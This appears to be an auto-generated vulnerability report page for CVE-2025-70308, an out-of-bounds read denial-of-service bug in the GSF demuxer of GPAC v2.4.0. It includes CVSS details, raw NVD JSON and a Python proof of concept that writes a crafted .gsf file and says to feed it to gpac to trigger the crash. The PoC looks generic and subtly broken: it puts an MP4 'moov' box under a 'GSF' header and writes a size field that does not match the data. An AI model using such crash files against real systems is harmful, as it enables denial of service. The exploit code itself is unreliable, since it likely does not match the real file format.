Security Vulnerability Report
中文
CVE-2025-70308 CVSS 7.5 HIGH

CVE-2025-70308

Published: 2026-01-15 17:16:06
Last Modified: 2026-01-23 17:34:54

Description

An out-of-bounds read in the GSF demuxer filter component of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted .gsf file.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:* - VULNERABLE
GPAC v2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-70308 PoC - GPAC GSF demuxer Out-of-bounds Read # Generate a malicious .gsf file to trigger the vulnerability import struct import os def create_malicious_gsf(): """Generate a crafted .gsf file to trigger out-of-bounds read in GPAC GSF demuxer""" # GSF file header gsf_header = b'GSF' version = struct.pack('<I', 0x00000001) # Version 1 # Create crafted box with oversized data length field # This triggers out-of-bounds read when demuxer processes the box box_type = b'moov' # Movie box # Malicious data that causes length mismatch malicious_data = b'A' * 10000 # Oversized data to trigger OOB read # Crafted box with invalid size that causes buffer overflow during parsing box_size = struct.pack('>I', 0xFFFFFFFF) # Use extended size box = box_type + malicious_data # Create the malicious GSF file gsf_file = gsf_header + version + box_size + box return gsf_file def main(): poc_filename = 'CVE-2025-70308_poc.gsf' poc_data = create_malicious_gsf() with open(poc_filename, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {poc_filename}") print(f"[+] File size: {len(poc_data)} bytes") print("[+] To trigger the vulnerability, process this file with GPAC v2.4.0:") print(f"[+] gpac -i {poc_filename}") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70308", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:06.087", "lastModified": "2026-01-23T17:34:53.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read in the GSF demuxer filter component of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted .gsf file."}, {"lang": "es", "value": "Una lectura fuera de límites en el componente de filtro demuxer GSF de GPAC v2.4.0 permite a los atacantes causar una denegación de servicio (DoS) mediante un archivo .gsf manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_gsf/GPAC_gsf.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}